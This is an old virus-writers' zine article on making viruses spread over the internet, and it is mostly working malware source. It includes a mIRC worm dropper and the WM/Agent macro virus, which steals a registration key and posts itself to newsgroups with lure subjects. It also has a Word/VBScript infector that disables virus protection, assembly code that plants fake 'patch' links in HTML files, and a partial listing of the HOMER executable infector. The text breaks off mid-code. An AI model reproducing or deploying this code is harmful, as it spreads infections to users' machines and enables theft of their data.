The internet aware virus, threat of the new millenium! Written by Septic for TI#1 [Introduction] This article could have been much better then it is ;) but currenlty there is not very much code to be found concerning the topic of the article, so there will be a lot of philosophy but also some code. This is one of my first articles so don't judge me to hard. [Philosophy 101] Most of the vx'ers start to realize that DOS is dead and has been since some time... This means that we have to start in a new era of virus writing. We can no longer use the DOS technichs that have been improved during the 80's and 90's, we have to start from the beginning and write viruses for the win32 OS. And another thing, most users doesn't use floppies anymore, our new treat is the internet, everyday thousands of gigabytes of information is exchanged over the internet, this is what I think is the viral target of the new millennium, The Net! With internet aware viruses the spread can get very fast, but what kind of internet aware viruses have we seen so far? Most of them is not asm viruses rather macro and script, but can there be a internet aware asm virus? Of course! everything that can be done, can be done in asm. Many of you have probably read something about viruses like The Read team email virus, Polyposter AKA Agent and the mIRC script worms, all of these are internet aware. The authors have written the viruses so they spread over the internet. So what kind of approaches can we make? The ultimate internet virus would know the most widely used internet programs and could use them to spread in the Polyposter way, but it would also be able to detect file transfers and infect the file that is being transferred or received. Most of the interneting is done within the win32 environment, so this kind of virus activity would have to be done by win32 viruses or macro viruses (doubt the last one ;)). But what if we make a DOS virus internet aware, would it be dead then? If we gave the DOS virus wings!? would it be able to spread faster then? The answer is yes, it would spread faster and it could make DOS abit more alive. Also Java could be used to spread viruses, but there is almost no virus writers that is interested or capable of writing such a virus, currently there is only one pioneering virus writer in this category of viruses and his name is Landing Camel. His latest creation is called the bean hive, it's a very cool Java virus that can't spread without using internet. Enough philosophy! I have not written all the code that will be present in the article, I will write the names of the viruses and their authors in the end of the article so no misunderstandings are made. [Macro Viruses & The Net] Macro's are not really my areas... I have written one macro virus, and you know what, it was internet aware ;) As usual will probably VicodinES be the first one to release a decent internet aware macro virus, Lord Natas was really close with his polyposter but not good enough. So what can be done to make a good internet aware macro virus? Polyposter could use other programs to spread itself this is a really good start, we have also viruses that contain mIRC script and viruses that both spread to macros and script files. Not mIRC script files but VBscripts. Most of these viruses is written by 1nternal and can be found here www.sourceofkaos.com/homes/1ternal Lets start with the thingy I have made and probably some others too. The mIRC script dropper. Opic of codebreakers have also written some interesting code that steals your private keyring and upload to the codebreakers homepage's incoming directory. The private keyring is important information used for pgp encryption. This kind of espionage viruses can only be used with networks or the internet. [mIRC & Macros] Ok lets give you some code! 'MIRC Dropper Sub MAIN VF$ = "C:\Program\Mirc32\mirc32.exe" If Files$(VF$) <> "" Then mircdir = 1 : Goto found VF$ = "C:\Program\Mirc\mirc32.exe " If Files$(VF$) <> "" Then mircdir = 2 : Goto found VF$ = "C:\Program Files\Mirc32\mirc32.exe " If Files$(VF$) <> "" Then mircdir = 3 : Goto found VF$ = "C:\Program Files\Mirc\mirc32.exe" If Files$(VF$) <> "" Then mircdir = 4 : Goto found VF$ = "C:\Mirc\mirc32.exe" If Files$(VF$) <> "" Then mircdir = 5 : Goto found VF$ = "C:\Mirc32\mirc32.exe" If Files$(VF$) <> "" Then mircdir = 6 : Goto found Goto not_found 'So what does the above code do!? I hope you grasp the contence 'without having me explaining it for you, The above code 'searches for the mIRC directory, if the VF is empty then 'no mirc32.exe found and not the mIRC directory eighter. 'It searches for mIRC in 6 different directories, but you 'could add some more if you want. If no mIRC directory is found 'it jumps to not_found, if it was found it jumps to found found: If mircdir = 1 Then mirc_dir$ = "C:\Program\Mirc32\" If mircdir = 2 Then mirc_dir$ = "C:\Program\Mirc\" If mircdir = 3 Then mirc_dir$ = "C:\Program Files\Mirc32\" If mircdir = 4 Then mirc_dir$ = "C:\Program Files\Mirc\" If mircdir = 5 Then mirc_dir$ = "C:\Mirc\" If mircdir = 6 Then mirc_dir$ = "C:\Mirc32\" 'In the first part when you searched for the mIRC directory 'the mircdir variable was set, so for example if the 'mirc32.exe was located in c:\mirc the mircdir was set 5 'the mircdir and mirc_dir$ is different in that way 'that mircdir is a numeric variable that is used for 'counting and such things the mirc_dir$ is used for 'storing data in form of text. ChDir mirc_dir$ 'Change to the mirc directory scripta$ = "script.ini" 'Yupp it's script.ini we want SetAttr scripta$, 0 'Remove read only there is one. Kill scripta$ 'Delete current script.ini Open scripta$ For Append As #1 ' open for append Print #1, "[script]" Print #1, "n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick c:\warez.doc }" Print #1, "n1=on 1:TEXT:*sup*:#:/topic # ^¨~[[DragonFly]]~¨^ Written Septic [TI]" print #1, "n2=on 1:FILESENT:*.*:if ( $me != $nick ) { /dcc send $nick c:\warez.doc }" print #1, "n3=on 1:FILERCVD:*.*:if ( $me != $nick ) { /dcc send $nick c:\warez.doc }" Print #1, "n4=on 1:CONNECT: {" Print #1, "n5 = / msg Septic ^ ¨ ~ [ [ DragonFly ] ] ~ ¨ ^" Print #1, "n6 = / join #warez" Print #1, "n7 = }" Close #1 ' You will have to write your own script file, this one is used ' Dragonfly which is my only macro virus right now ;) ' It's not stealth at all because it switch channels and ' give it self away.... Might change that... Goto the_end not_found: Goto the_end the_end: End Sub ' The macro ends here.... You will have to save a document in ' the c:\ in order to use the above code. ' Here comes some source from the great agent virus that sends ' it self over USENET! written by Lord Natas [ Agent * USENET * ] 'WM/Agent 'By Lord Natas 'WM/Agent is probably the first "USENET virus". There have been viruses 'that use e-mail programs, but never newsgroups. The virus uses Forte Agent 'to spread itself. ' '* Uses Forte Agent '* Slightly polymorphic - slow poly '* Minor stealth '* Should work under all languages (the basic replication functions) '* Internal generation counter (CAP-style) '* Slightly anti-heuristic '* Also steals user's Agent registration key, if possible 'Lord Natas 'lordnatas@redneck.efga.org ============================================================================== Listing created by HMVS 2.60 - a great tool for everyone ! (c) 1996-1998, J. Valky & L. Vrtik ftp://ftp.elf.stuba.sk/pub/pc/avir/hmvs???e.zip http://ftp.elf.stuba.sk/packages/pub/pc/avir/hmvs???e.zip ============================================================================== Macro: AutoOpen Description: antiVirus 8 Size of the macro: 5239 (dec) bytes Byte order: PC Encryption key: 0 (hex) ------------------------------------------------------------------------------ Dim Shared a$ Sub MAIN On Error Resume Next a$ = Chr$(60 + 8 - 3) + "utoOpen" 'So heuristics don't catch it DisableInput If Not IsInstalledInGlobal Then If Second(Now()) = 45 Then Mutate(3) MacroCopy FileName$() + ":" + a$, a$ SetProfileString "Compatibility", "ANTIVIRUS", "0xDC9949BB" 'stupid "stealth" '============ If MenuItemText$("&Tools", 0, 13, 0) = "&Macro..." Then ToolsCustomizeMenus .Name = "ToolsMacro", .Menu = "Tools", \ .Remove, .Context = 0 EndIf If MenuItemText$("&Tools", 0, 13, 0) = "&Customize..." Then ToolsCustomizeMenus .Name = "ToolsCustomize", .Menu = "Tools", \ .Remove, .Context = 0 EndIf If MenuItemText$("&File", 0, 10, 0) = "&Templates..." Then ToolsCustomizeMenus .Name = "FileTemplates", .Menu = "File", \ .Remove, .Context = 0 EndIf If MenuItemText$("F&ormat", 0, 14, 0) = "&Style..." Then ToolsCustomizeMenus .Name = "FormatStyle", .Menu = "Format", \ .Remove, .Context = 0 EndIf ' The code above is a fake ToolsMacro menu, minor stealth! '============ z = 16 / 8 - 1 - 1 ToolsOptionsSave .GlobalDotPrompt = z 'Stealth the modification of the Global template '(dissable promt for save) Counter(1) EndIf If Not IsInstalledInFile Then If Second(Now()) = 23 Then Mutate(1) MacroCopy a$, FileName$() + ":" + a$ SetDocumentVar "ANTIVIRUS", "0xDC9949BB" o = 4 / 2 - 1 FileSaveAs .Format = o Counter(3) ' Infection procedure EndIf Rnd1 = Int(Rnd() * 31) + 1 Rnd2 = Int(Rnd() * 60) 'heh If Day(Now()) = Rnd1 And Second(Now()) = Rnd2 Then Call SendVirus ' Only send virus in some cases (randomized timer) End Sub Sub Counter(c) 'increment the generation counter On Error Resume Next d$ = LTrim$(Str$(Val(Mid$(MacroDesc$(a$), 10)) + 1)) desc$ = "antiVirus " + d$ ToolsMacro .Name = a$, .Show = c, .Description = desc$, \ .SetDesc End Sub Function IsInstalledInGlobal 'check for the infection mark in win.ini c$ = GetProfileString$("Compatibility", "ANTIVIRUS") If c$ = "0xDC9949BB" Then IsInstalledInGlobal = - 1 End Function Function IsInstalledInFile 'check for the infection mark in the current doc c$ = GetDocumentVar$("ANTIVIRUS") If c$ = "0xDC9949BB" Then IsInstalledInFile = - 1 End Function Sub Mutate(w) 'This is the "poly engine" On Error Resume Next 'minor polymorphism ScreenUpdating 0 ToolsMacro .Name = a$, .Edit, .Show = w Lines = 0 'get the total number of lines While LineDown() Lines = Lines + 1 Wend StartOfDocument 'go down a random amount ParaDown Int(Rnd() * (Lines - 1) + 1) LF$ = Chr$(13) R = Rnd() If R < 0.3 Then Insert "'" + RGG$ + LF$ ElseIf R < 0.6 Then Insert "REM " + RGG$ + LF$ ElseIf R < 0.9 Then R$ = RGG$ + "$" EditReplace .Find = "RGG$", .Replace = R$, .ReplaceAll, \ .Wrap = 1 Else R$ = RGG$ + "$" EditReplace .Find = "Rand$", .Replace = R$, .ReplaceAll, \ .Wrap = 1 EndIf StartOfDocument DocClose 1 End Sub Function RGG$ 'random garbage generator - really lame, but it works For i = 1 To Int(Rnd() * (30 - 1) + 1) If Rnd() > Rnd() Then Rand$ = Rand$ + Chr$(Int(Rnd() * (122 - 97) + 97)) Else Rand$ = Rand$ + Chr$(Int(Rnd() * (90 - 65) + 65)) EndIf Next RGG$ = Rand$ End Function Sub SendVirus On Error Resume Next DisableInput ScreenUpdating 0 'stealth For i = 1 To 8 Temp$ = Temp$ + Chr$(Int(Rnd() * (90 - 65) + 65)) Next sName$ = "C:\" + Temp$ + ".DOC" FileSaveAs .Name = sName$ If AppIsRunning("Agent") Then Goto More Exe$ = "c:\progra~1\agent\agent.exe" If Files$(Exe$) <> "" Then 'execute agent, if it exists AgentDir$ = "c:\progra~1\agent" ChDir AgentDir$ INI$ = AgentDir$ + "\data\agent.ini" sKey$ = GetPrivateProfileString$("Profile", "Key", INI$) Shell Exe$, 1 'just a delay to let Agent open For i = 1 To 100 For j = 1 To 100 Next j Next i Goto More EndIf Exe$ = "c:\agent\agent.exe" If Files$(Exe$) <> "" Then AgentDir$ = "c:\agent" ChDir AgentDir$ INI$ = AgentDir$ + "\data\agent.ini" sKey$ = GetPrivateProfileString$("Profile", "Key", INI$) Shell Exe$, 1 For i = 1 To 100 For j = 1 To 100 Next j Next i Goto More EndIf Goto NoAgent More: AppActivate "Agent", 1 SendKeys "P", - 1 'post new message Ng = Int(Rnd() * 23) Select Case Ng 'some "interesting" newsgroups ;) Case 0 Ng$ = "alt.aol-sucks" Case 1 Ng$ = "alt.binaries.cracks" Case 2 Ng$ = "alt.binaries.pictures.erotica" Case 3 Ng$ = "alt.binaries.warez.ibm-pc" Case 4 Ng$ = "alt.conspiracy" Case 5 Ng$ = "alt.drugs.pot" Case 6 Ng$ = "alt.fan.hanson" Case 7 Ng$ = "alt.flame" Case 8 Ng$ = "alt.hacker" Case 9 Ng$ = "alt.sex" Case 10 Ng$ = "alt.sex.necrophilia" Case 11 Ng$ = "alt.sex.stories" Case 12 Ng$ = "alt.sex.zoophilia" Case 13 Ng$ = "alt.windows95" Case 14 Ng$ = "alt.sex.passwords" Case 15 Ng$ = "alt.binaries.warez" Case 16 Ng$ = "alt.binaries.sounds.mp3" Case 17 Ng$ = "alt.comp.virus" ' Case 18 Ng$ = "alt.2600" Case 19 Ng$ = "alt.2600.hackerz" Case 20 Ng$ = "alt.skinheads" Case 21 Ng$ = "alt.sex.babies" Case 22 Ng$ = "alt.sex.bondage" End Select SendKeys "%r", - 1 'alt-r==newsgroup SendKeys Ng$, - 1 'newsgroup name Subject = Int(Rnd() * 21) Select Case Subject '...and here are some interesting subjects ;) Case 0 Subject$ = "Free XXX Passwords" Case 1 Subject$ = "Check this out!" Case 2 Subject$ = "Official WaReZ site list" Case 3 Subject$ = "Easy Money!" Case 4 Subject$ = "My first fuck by Todd" Case 5 Subject$ = "Hanson rulez!" Case 6 Subject$ = "Warez mailing list details" Case 7 Subject$ = "Crackz mailing list details" Case 8 Subject$ = "Learn to hack!" Case 9 Subject$ = "Attn: All k3wl h4ck3rz" Case 10 Subject$ = "Important Info" Case 11 Subject$ = "New Virus Alert!" Case 12 Subject$ = "Serial Number List!" Case 13 Subject$ = "Official mp3 site list" Case 14 Subject$ = "Elite XXX site list" Case 15 Subject$ = "New erotic story" Case 16 Subject$ = "Important Princess Diana Info" Case 17 Subject$ = "Important Monica Lewinsky Info" Case 18 Subject$ = "How to find child pornography" Case 19 Subject$ = "Cable TV descrambler instructions!" Case 20 Subject$ = "Kewl N64 Emulator & MP3 sites" End Select SendKeys "%b", - 1 SendKeys Subject$, - 1 'message body SendKeys "%x", - 1 SendKeys "WM/Agent by Lord Natas", - 1 'garbage bytes for confusion SendKeys RGG$, - 1 If sKey$ <> "" Then SendKeys "{enter}", - 1 SendKeys sKey$, - 1 EndIf 'encode above message with ROT13 SendKeys "^A", - 1 SendKeys "^3", - 1 'go to the attachments dialog SendKeys "%A", - 1 SendKeys "%A", - 1 'add our attchment SendKeys sName$, - 1 SendKeys "{enter}", - 1 SendKeys "{enter}", - 1 'post the message - hopfully the user is connected SendKeys "^n", - 1 NoAgent: End Sub ------------------------------------------------------------------------------ As you noticed the source isn't very well commented, but hopefully you'll get the idea. The next code is not commented either, just look at it and hopefully learn something. ;) [VBscript infection & Documents] Private Sub Document_Close() '1nternal 'ReplaceIt Set A = ActiveDocument.VBProject.VBComponents(1).CodeModule Set N = NormalTemplate.VBProject.VBComponents(1).CodeModule Options.VirusProtection = False Options.ConfirmConversions = False Options.SaveNormalPrompt = False If N.Lines(2, 1) <> "'1nternal" Then For i = 1 To 58 N.InsertLines i, A.Lines(i, 1) Next End If If A.Lines(2, 1) <> "'1nternal" Then For i = 1 To 58 A.InsertLines i, N.Lines(i, 1) Next End If Set FSO = CreateObject("Scripting.FileSystemObject") N.InsertLines 59, "" N.InsertLines 60, "On Error Resume Next" N.InsertLines 61, "Dim WordObj, FSO, WshShell" N.InsertLines 62, "Set FSO = CreateObject(" + Chr(34) + "Scripting.FileSystemObject" + Chr(34) + ")" N.InsertLines 63, "Set WshShell = Wscript.CreateObject(" + Chr(34) + "Wscript.Shell" + Chr(34) + ")" N.InsertLines 64, "parent = Wscript.ScriptFullName" N.InsertLines 65, "vPath = Left(parent, InStrRev(parent, " + Chr(34) + "\" + Chr(34) + "))" N.InsertLines 66, "For Each target in FSO.GetFolder(vPath).Files" N.InsertLines 67, " FSO.CopyFile parent, target.Name, 1" N.InsertLines 68, "Next" N.InsertLines 69, "Set WordObj = CreateObject(" + Chr(34) + "Word.Application" + Chr(34) + ")" N.InsertLines 70, "WordObj.Options.SaveNormalPrompt = False" N.InsertLines 71, "Set NT = WordObj.Templates(1).VBProject.VBComponents(1).CodeModule" N.InsertLines 72, "If NT.Lines(2,1) <> " + Chr(34) + "'1nternal" + Chr(34) + " Then" N.InsertLines 73, " NT.AddfromFile Wscript.ScriptFullName" N.InsertLines 74, " NT.ReplaceLine 3, " + Chr(34) + "On Error Goto Break" + Chr(34) N.InsertLines 75, " NT.DeleteLines 58, 19" N.InsertLines 76, "End If" N.InsertLines 77, "Set NT = Nothing" N.InsertLines 78, "WordObj.Quit" Set fs = Application.FileSearch fs.NewSearch fs.LookIn = "C:\" fs.SearchSubFolders = True fs.FileName = "*.vbs" fs.Execute For i = 1 To fs.FoundFiles.Count Set f = FSO.OpenTextFile(fs.FoundFiles(i), 2, True) N.ReplaceLine 3, "'ReplaceIt" For k = 1 To 78 f.Write N.Lines(k, 1) + Chr(13) + Chr(10) Next f.Close Next N.DeleteLines 59, 20 N.ReplaceLine 3, "On Error Goto Break" Break: End Sub On Error Resume Next Dim WordObj, FSO, WshShell Set FSO = CreateObject("Scripting.FileSystemObject") Set WshShell = Wscript.CreateObject("Wscript.Shell") Parent = Wscript.ScriptFullName vPath = Left(Parent, InStrRev(Parent, "\")) For Each Target In FSO.GetFolder(vPath).Files FSO.CopyFile Parent, Target.Name, 1 Next Set WordObj = CreateObject("Word.Application") WordObj.Options.SaveNormalPrompt = False Set NT = WordObj.Templates(1).VBProject.VBComponents(1).CodeModule If NT.Lines(2, 1) <> "'1nternal" Then NT.AddFromFile Wscript.ScriptFullName NT.ReplaceLine 3, "On Error Goto Break" NT.DeleteLines 58, 19 End If Set NT = Nothing WordObj.Quit [Afterword on This] The above code was written by '1nternal and you can find more of his work at www.baahahah.com Now you have to write code by yourself and come up with new ideas [Internet Aware ASM viruses] OK what can be done to make a DOS virus internet aware? The easiest and maybe the only way is to manipulate script files that the windows internet programs use, you can also change the html code. I have seen email programs like the Pegasus mail that use unencrypted files for the messages and it's very easy to manipulate the messages so they contain an attached copy of your virus (Thanks Techno). When a said script, we could take the mIRC chat program as an excelent example. When you have found the mIRC directory you have to delete the current script.ini or atleast overwrite it you could maybe append the code also but that would take more code, OK here comes the code for deleting and dropping the new mIRC script. mov ah,41h lea dx,[bp+dmscript] int 21h ; Delete the current Script file. mov ah,3ch lea dx,[bp+dmscript] xor cx,cx int 21h ; Overwrite script.ini (not append) xchg bx,ax ; Get file handler into bx mov ah,40h mov cx,EO_script lea dx,[BO_script+bp] int 21h ; Write to the file! start from BO_script stop at EO_script mov ah,3eh int 21h ; Close it! BO_script db '[script]',0 db ' ',0dh,0ah db 'n0=on 1:FILESENT:*.*:if ( $me != $nick ) { /dcc send $nick c:\porno.com }',0 db ' ',0dh,0ah db 'n1=on 1:FILERCVD:*.*:if ( $me != $nick ) { /dcc send $nick c:\porno.com }',0 db ' ',0dh,0ah db 'n2=on 1:CONNECT: {',0 db ' ',0dh,0ah db 'n3= /msg SeptiC_dm I am your servant! I have been turned into a zealot of darkness',0 db ' ',0dh,0ah db 'n4=}',0 Last_line db ' ',0dh,0ah EO_script equ last_line-BO_script ; dmscript db 'script.ini',0 Hmmz now you have written your own script.ini in the mirc directory but you have to find the mirc directory, that can be done in a lot of ways, the easiest is by using 3bh (change directory). first_mirc: lea dx,[mircdir_1+bp] ; Bp is used for delta offset call change ; Change to the directory in dx! jc second_mirc ; if error then directory doesn't exist try next! call do_mirc ; Drop the mirc script, also drop a copy of the virus ; that is optional but if you want the virus to spread through ; mirc it has to be done! jmp mirc_last ; Ok we dropped the scipt, continue! don't change directory again second_mirc: lea dx,[mircdir_2+bp] ;Same as above but new directory call change jc mirc_last call do_mirc mirc_last: change: mov ah,3bh int 21h ret ; mircdir_1 db 'C:\program\mirc',0 ; mircdir_2 db 'C:\program\mirc32',0 ; You could have added more directories... Dark.Messiah uses ; This method but scans 6 directories... It does also scan ; for the mIRC directory in the directory traversal rutine. Ok now lets continue... We can also manipulate html files =) First you must find the html file, this can be done easy with the mov ah,4eh and mov ah,3fh instructions, I'll give you the code Find_html: mov ah, 4eh ; Find first xor cx,cx ; any attribute lea dx, [html+bp] ; Html files int 21h ; find one! jc no_html ; No html found bail out! found_html: call html_it ;Html it ;) add the html code to the html file ; (maybe drop the virus aswell) mov ah, 4fh ; find next int 21h jnc found_html ; If found jmp to found_html no_html: ; html db '*.html',0 ; Ok we found the html file, lets add out html code into it! html_it: mov ax,3d02h ; Open for read write lea dx,[dta+1eh+bp] ; I hope you saved the dta earlier didn't you? Ok file name in dta int 21h ; Open it! xchg ax,bx ; File handler into bx! mov ax,4202h mov dx,-15 mov cx,-1 int 21h ; Go 15 bytes back from end so we overwrite some code ; that has to be overwritten ( and ) mov ah,40h ; Write to file! mov cx,html_drop ;Html size lea dx,[html_text+bp] ;Where to start int 21h ; Write! mov ah,3eh int 21h ; Close the html file ret html_text db '',0 db ' ',0dh,0ah db '',0 db ' ',0dh,0ah db '

Download',0 db ' ',0dh,0ah db 'The',0 db ' ',0dh,0ah db 'Latest',0 db ' ',0dh,0ah db 'Patch!',0 db ' ',0dh,0ah db '

Click Here!

',0 db ' ',0dh,0ah db '',0 db ' ',0dh,0ah db '',0 Last_html db ' ',0dh,0ah html_drop equ last_html-html_text You could also mark the directory in some way like creating a file and checking for it later, so the html file won't get reinfected. That was all I think ;) ---------------=The internet aware Win32 (HLL,ASM)!=---------------------- In these areas very very very much can be done! When you have ring 0 access you could use the win32sock.dll to get access to the internet. Right now the happy99 internet worm use the win32sock.dll to spread, it has been reported in the wild and is very common in europe. I don't have very much code to give you 'cause I haven't been coding any win32 stuff yet, but as this is the future it had to be done =) I think that it is a lot easier to code a virus that uses internet and ftpz to spread in a language like C or something rather than asm, but with asm it could be much better.... Hmmz Homer is a virus written in C that send itself to Ftpz and spread over win95 networks, The source is poorly commented, but anyway here it is. ; -----> /-----------------------------\ ; Code taken from -----> | Xine - issue #2 - Phile 021 | ; -----> \-----------------------------/ /* HOMER virus by Kernel Panik, Italy, april 1997 */ /* Compile with Borland C++ 4.0 in Large Model and with DS!=SS */ /* please note some parts are very compiler dependent */ /* if you want homer to work correctly it must be shorter than 64KB */ /* so strip debugging information ! */ /* Define if you want a info window */ #define HASWINDOW 1 /* Must be defined for many things to work ... it makes homer to register his window class */ #define HASCLASS 1 /* Define to hook int21 in pm via dpmi*/ #define HOOKSDPMIPROTINT 1 /* Define to hook int21 in rm via dpmi*/ #define HOOKSDPMIREALINT 1 /* Define to hook int21 in pm via api call SetKernelDosProc */ #define HOOKSKDP 1 /* Define to enable api hooking */ #define HOOKSWIN16API 1 /* Define to prevent homer to infect anything but path with TESTVIRZ inside*/ #define TESTRUN 1 /* Define to enable Internet Infection. */ #define NETHOOK 1 #define MAX_PATH 256 #include #include #include #include #include #include #ifdef NETHOOK #include #endif #define LOWORD(l) ((WORD)(l)) #define MAKEWORD(a, b) \ ((WORD)(((BYTE)(a)) | ((WORD)((BYTE)(b))) << 8)) #pragma pack(1) typedef struct { WORD bp,di,si,ds,es,dx,cx,bx,ax; WORD ip,cs,flags; } REG_PARAMS; typedef struct { DWORD EDI; DWORD ESI; DWORD EBP; DWORD reserved; DWORD EBX; DWORD EDX; DWORD ECX; DWORD EAX; WORD flags; WORD ES; WORD DS; WORD FS; WORD GS; WORD IP; WORD CS; WORD SP; WORD SS; } CB_STR; typedef void (_interrupt _far *INTRFUNC)(); typedef struct { WORD oldb; FARPROC wh; } WIN16HOOK; #ifdef HOOKSDPMIPROTINT /* old int21 vector in pm via dpmi */ static INTRFUNC old = 0; #endif #ifdef HOOKSKDP /* old int21 vector in pm via windows api */ static FARPROC old_dos = (FARPROC) 0; FARPROC (FAR PASCAL *GetSetKernelDosProc)(FARPROC DosProc) = 0; #endif #ifdef HOOKSDPMIREALINT /* old int21 vector in rm via dpmi */ static FARPROC old_real = (FARPROC) 0; static CB_STR cb_storage; static int rm_sel; static unsigned char old_stuff [10]; #endif #ifdef HASWINDOW /* how many time int21 exec was triggered and last execed file */ static int triggered=0; char lastrun[MAX_PATH]="\0"; #endif /* Global Used Data. */ /* sved ds for accessing global vars */ static far save_ds; /* handle to memory block for homer code, name, ptr to code and size */ HGLOBAL hmem; char myname[MAX_PATH]; char * mybuffer; long mysize; /* int to hook */ int intno=0x21; UINT th; /* selector for memory at 60:0 */ WORD mem_60_sel; /* residency check */ WORD rez_check; char far * hptr; /* forward definition of procedure which does clean-up */ void CleanUp(void); #ifdef HASCLASS LRESULT FAR PASCAL _export WndProc( HWND, UINT , WPARAM, LPARAM ); #endif WORD FAR PASCAL _export TimerProc( HWND, WORD, int, DWORD); /* Infection Routine tnx to b0z0 for infomation and code examples this is a messy translation in C of an assembler routine, please refer to better sources if you want more detailed information about windows NE infection. I know this should be done in a better way */ struct rblock { WORD nrelitems; BYTE prel; BYTE trel; WORD offwinip; WORD oldcs; WORD oldip; } infblock={1,3,4,0,0,0}; struct segentry { WORD off; WORD len; WORD attr; WORD alloc; } newentry; unsigned char readbuff[0x40]; unsigned char nebuff[512]; int fhandle; unsigned readb,NEoff,SToff,nesize,align,recsize; long nelast; unsigned long segcount, filesize, origsegcount; extern far void RUNCODE_START(); extern far unsigned RUNCODE_STUB_SIZE; extern far void RUNCODE_OLDIP(); extern far unsigned RUNCODE_SIZE; #define READW(x) ( *( (unsigned *) (x) ) ) void infect(char far * fname) { int i; _DS=save_ds; #ifdef TESTRUN if (strstr(fname,"TESTVIRZ")) #endif { if (!_dos_open(fname,O_RDWR,&fhandle)) { filesize=lseek(fhandle,0,SEEK_END); lseek(fhandle,0,SEEK_SET); _dos_read(fhandle,readbuff,sizeof(readbuff),&readb); if (readbuff[0]=='M' && readbuff[1]=='Z' && readbuff[0x18]>40 && readbuff[0x12]!='K' && readbuff[0x13] != 'P') { NEoff= READW(readbuff+0x3c); READW(readbuff+0x3c) -=8; if (readbuff[0x3e]==0 && readbuff[0x3f]==0) { readbuff[0x12]='K'; readbuff[0x13]='P'; lseek(fhandle,NEoff,SEEK_SET); _dos_read(fhandle,nebuff,sizeof(nebuff),&readb); if (nebuff[0]=='N' && nebuff[1]=='E' && nebuff[0x36]==2 && nebuff[0x37]==8) { lseek(fhandle,0,SEEK_SET); _dos_write(fhandle,readbuff,sizeof(readbuff),&readb); SToff=READW(nebuff+0x22); if ( READW(nebuff+4) >= SToff ) READW(nebuff+4) += 8; if ( READW(nebuff+0x24) >= SToff ) READW(nebuff+0x24) += 8; if ( READW(nebuff+0x26) >= SToff ) READW(nebuff+0x26) += 8; if ( READW(nebuff+0x28) >= SToff ) READW(nebuff+0x28) += 8; if ( READW(nebuff+0x2a) >= SToff ) READW(nebuff+0x2a) += 8; segcount=READW(nebuff+0x1c) ++; nebuff[0x37] = 0; /* Kill gangload area */ READW(nebuff+0x38) = 0; READW(nebuff+0x3a) = 0; origsegcount=segcount; segcount=segcount*8 + SToff; nesize=segcount/sizeof(nebuff); nelast=segcount%sizeof(nebuff); infblock.oldip=READW(nebuff+0x14); infblock.oldcs=READW(nebuff+0x16); align=READW(nebuff+0x32); recsize=1<0) { _dos_read(fhandle,nebuff,nelast,&readb); lseek(fhandle,-nelast-8,SEEK_CUR); _dos_write(fhandle,nebuff,nelast,&readb); } else lseek(fhandle,-8,SEEK_CUR); newentry.off=((long) filesize )/ recsize; if ( (filesize%recsize) != 0) newentry.off++; newentry.len=mysize+RUNCODE_STUB_SIZE; newentry.attr=0x180; newentry.alloc=mysize+RUNCODE_STUB_SIZE; _dos_write(fhandle,&newentry,8,&readb); lseek(fhandle,((long)newentry.off)*recsize,SEEK_SET); RUNCODE_SIZE=mysize; _dos_write(fhandle,RUNCODE_START,RUNCODE_STUB_SIZE, &readb); _dos_write(fhandle,mybuffer,mysize,&readb); infblock.offwinip=FP_OFF(RUNCODE_OLDIP); _dos_write(fhandle,&infblock,sizeof(infblock), &readb); } } } _dos_close(fhandle); } return; } } /* Effective Interrupt Handler. pse note only ax,bx,cx,dx,si,di and ds,es are correct basic handlers must be corrected if you want to have other registers readly avaible. */ void EffHandle(REG_PARAMS r) { _DS=save_ds; if (r.ax==0x4b00) /* check for int21 exec*/ { #ifdef HASWINDOW triggered ++; strncpy(lastrun,MK_FP(r.ds,r.dx),MAX_PATH); #endif infect(MK_FP(r.ds,r.dx)); } } /* Now come DPMI interrupt handler and hookers. Please note these are pretty straigthforward if you know just a little bit about DMPI programming. A good source of information about is the Ralf Brown's Interrupts guide. Great code samples could be found (I'm using many of them here :-) in the book by Andrew Schulman Windows 95 Unleashed. */ #ifdef HOOKSDPMIPROTINT void _interrupt _far IntHandler(REG_PARAMS r) { EffHandle(r); _chain_intr(old); } INTRFUNC _dpmi_get_pmode_vect(int intno) { INTRFUNC iv; _asm { mov ax, 0204h mov bl, byte ptr intno int 31h jc error mov word ptr iv+2, cx mov word ptr iv, dx } return iv; error: return (INTRFUNC) 0; } void _dpmi_set_pmode_vect(int intno, INTRFUNC iv) { _asm { mov ax, 0205h mov bl, byte ptr intno mov cx, word ptr iv+2 mov dx, word ptr iv int 31h } } #define get_vect(intno) _dpmi_get_pmode_vect(intno) int set_vect(WORD intno, INTRFUNC handler) { _dpmi_set_pmode_vect(intno, handler); return (_dpmi_get_pmode_vect(intno) == handler); } #endif #ifdef HOOKSKDP void _interrupt _far IntHandler2(REG_PARAMS r) { EffHandle(r); _chain_intr( (INTRFUNC) old_dos); } #endif #ifdef HOOKSDPMIREALINT void _interrupt _far IntHandler3(void) { REG_PARAMS r; int dummy; _DS=save_ds; r.ax= cb_storage.EAX & 0xffff; r.bx= cb_storage.EBX & 0xffff; r.cx= cb_storage.ECX & 0xffff; r.dx= cb_storage.EDX & 0xffff; r.si= cb_storage.ESI & 0xffff; r.di= cb_storage.EDI & 0xffff; /* selector madness .... change ds & es from segment addresses to selectors keep in mind we got an int21 in real mode, called back homer whcich runs in protected mode. */ dummy=cb_storage.DS; _asm { mov bx,dummy mov ax,2 int 31h jc error mov dummy,ax } r.ds=dummy; dummy=cb_storage.ES; _asm { mov bx,dummy mov ax,2 int 31h jc error mov dummy,ax } r.es=dummy; EffHandle(r); error: cb_storage.CS=0x60; /* return to the right place in rm*/ cb_storage.IP=5; } INTRFUNC hook_real_vect(int intno, INTRFUNC handler) { INTRFUNC iv; int cb_sel, cb_seg; _asm { mov ax, 200h /* get old int */ mov bl, byte ptr intno int 31h jc error mov word ptr iv+2, cx mov word ptr iv, dx mov ax,2h /* allocate place for callback at 0:60 */ mov bx,60h int 31h jc error mov dx,ax mov ax,bx /* ax=seg, dx=sel */ mov cb_seg,ax /* save sel and seg pointer to place for cb */ mov cb_sel,dx mov ax,0303h /* allocate callback from rm to our routine in pm */ push es push ds mov si, offset IntHandler3 mov di, offset cb_storage push ds pop es push cs pop ds int 31h /* seg:off of cb in cx:dx */ mov ax,ss:cb_sel /* ds->sel in lomem */ mov ds,ax push cx /* save old stuff at that address */ push ss pop es mov cx,05h /* 5 words to save */ xor si,si mov di,offset old_stuff rep movsw /* save old bytes at 60:0 */ pop cx /* this code builds on the fly the callback code at 60:0. It is the interrupt handler which get called from real-mode */ mov ah,0eah /* jmp far */ mov byte ptr [0],ah 